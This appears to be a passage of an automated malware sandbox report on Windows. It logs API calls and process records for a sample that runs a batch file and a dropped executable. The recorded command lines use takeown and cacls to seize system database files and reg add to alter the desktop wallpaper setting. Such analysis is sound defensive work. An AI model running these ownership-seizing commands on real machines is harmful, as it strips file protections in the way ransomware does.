File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 79	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x12e0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 27	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "SmsInterceptStore.db"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "SmsInterceptStore.db"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 65	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 41	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x1244, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #18: cacls.exe

0

»

Information	Value
ID	#18
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:59, Reason: Child Process
Unmonitor	End Time: 00:02:03, Reason: Self Terminated
Monitor Duration	00:00:03
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1234
Parent PID	0x1194 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1238 0x 1244

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #19: reg.exe

38

0

»

Information	Value
ID	#19
File Name	c:\windows\syswow64\reg.exe
Command Line	reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:02, Reason: Child Process
Unmonitor	End Time: 00:02:03, Reason: Self Terminated
Monitor Duration	00:00:01

OS Process Information

»

Information	Value
PID	0x1250
Parent PID	0x10fc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1254 0x 1258

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
reg.exe	0x00350000	0x003A1FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1254

38

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\reg.exe, base_address = 0x350000	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop, value_name = TileWallpaper	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop, value_name = TileWallpaper, data = 0, size = 4, type = REG_SZ	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data

Process #20: cacls.exe

0

»

Information	Value
ID	#20
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:04, Reason: Child Process
Unmonitor	End Time: 00:02:05, Reason: Self Terminated
Monitor Duration	00:00:01
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1264
Parent PID	0x1208 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1268 0x 1270

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #21: takeown.exe

0

»

Information	Value
ID	#21
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:05, Reason: Child Process
Unmonitor	End Time: 00:02:09, Reason: Self Terminated
Monitor Duration	00:00:03
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x12e0
Parent PID	0x1208 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 12E4 0x 12F8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #22: takeown.exe

0

»

Information	Value
ID	#22
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:07, Reason: Child Process
Unmonitor	End Time: 00:02:09, Reason: Self Terminated
Monitor Duration	00:00:02
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x12e8
Parent PID	0x1194 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 12EC 0x 12F4

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #23: cmd.exe

367

0

»

Information	Value
ID	#23
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:10, Reason: Child Process
Unmonitor	End Time: 00:02:45, Reason: Self Terminated
Monitor Duration	00:00:35

OS Process Information

»

Information	Value
PID	0x1304
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1308 0x 1354

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1308

367

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 56, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 118	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x138c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
